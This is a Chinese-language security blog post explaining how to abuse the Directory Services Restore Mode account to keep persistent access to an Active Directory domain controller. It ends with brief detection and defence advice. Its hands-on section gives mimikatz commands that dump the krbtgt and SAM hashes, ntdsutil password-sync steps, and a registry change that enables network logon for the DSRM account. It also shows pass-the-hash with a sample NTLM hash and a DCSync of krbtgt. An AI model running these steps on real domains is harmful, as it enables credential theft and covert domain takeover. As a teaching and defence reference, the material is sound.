文章来源:EchoSec
0x01 前言
DSRM (Directory Services Restore Mode, 目录服务恢复模式)是 Windows 域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账户(也就是 DSRM 账户)。DSRM 的用途是:允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期,DSRM 的密码需要在安装 DC 时设置,且很少会被重置修改 DSRM 密码最基本的方法是在 DC 上运行 ntdsutil 命令行工具。
在实战中,可以使用DSRM 账号对域环境进行持久化操作。如果域控制器的系统版本为Windows Server 2008,需要安装 KB961320 才可以使用指定域账号的密码对 DSRM 的密码进行同步。在 Windows Server 2008 以后版本的系统中不需要安装此补丁。DSRM 账号可以作为一个域控制器的本地管理员用户,通过网络连接蜮控制器,进而控制域控制器。
0x02 利用前提
使用DSRM账户连接的前提
(1)系统要求:在安装了KB961320补丁的Windows Server 2008及之后的Windows Server版本开始支持在DC上使用指定的域帐户同步DSRM密码
(2)更改DSRM的密码方式:同步域用户的方式
(3)开启支持DSRM账户网络连接:需要修改注册表项,默认没有改项
注册表命令:
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /f /v DsrmAdminLogonBehavior /t REG_DWORD /d 2
powershell命令:
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
(4)需要一个域账户的hash
(5)并且需要注意是否会同步域账户(同步dsrm账户后,后门即失效)
(6)域控重启后会失效
0x03 实操
获取Krbtgt的NTLM Hash
privilege::debug
lsadump::lsa /patch /name:krbtgt
在域控中利用mimikatz查看并读取SAM文件中本地管理员的NTLM Hash
token::elevate
lsadump::sam
修改/同步DSRM密码
• NTDSUTIL:打开ntdsutil.
• set dsrm password:设置 DSRM 的密码。
• reset password on server null:在当前域控制器上恢复 DSRM 密码。
• <PASSWORD>:修改后的密码。
•q(第1次):退出 DSRM 密码设置模式。
•q(第2次):退出 ndsutilo
如果域控的系统版本为 Windows Server 2008(已安装 KB961320)及以上,可以将 DSRM密码同步为己存在的城账号密码。
•NTDSUTIL:打开 ntdsutilo
• SET DSRM PASSWORD:设置 DSRM的密码
• SYNC FROM DOMAIN ACCOUNT domainusemame:使 DSRM 的密码和指定域用户的密码同步
•重置DSRM 管理员密码:q
• ntdsutl:q
DSRM账号和krbtgt的NTLM Hash同步
查看DSRM的NTLM Hash是否同步成功
0:默认值,只有当域控制器重启并进人DSRM 模式时,才可以使用 DSRM 管理员账号。
1:只有当本地 AD、DS 服务停止时,才可以使用 DSRM管理员账号登录域控制器。
2:在任何情况下,都可以使用 DSRM管理员账号登录域控制器。
在实战中,需要注意在 Windows Server 2000 以后版本的操作系统中,对DSRM 使用控制台登录域控进行了限制。如果要使用 DSRM 账号通过网络登录域控制器,需要将该值设置为2。我这里演示用PowerShell进行修改
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
sekurlsa::pth /domain:OWA2010SP3 /user:administrator /ntlm:a3490225625b7bcb900495ca1d43913e
注意,在这里,/domain 选项不是填写域名!而是域控的机器名(OWA2010SP3)一定要注意!
下图是个错误的演示
利用DSRM账号访问域控,使用dcsync功能远程转储krbtgt的NTLM Hash
0x04 防御措施
定期检查注册表中用于控制 DSRM 登录方式的键值 HIKLM\System CurrentContro Set Control Lsa DsrmAdminLogonBehavior,确认该键值为 1,或者删除该键值
定期修改域中所有域控制器的 DSRM 账号。
经常检查 DD 为 4794 的日志。尝试设置活动目录服务还原模式的管理员密码会被记录在4794 日志中
坚持学习与分享!走过路过点个"在看",不会错过
仅用于学习交流,不得用于非法用途
如侵权请私聊公众号删文
推荐阅读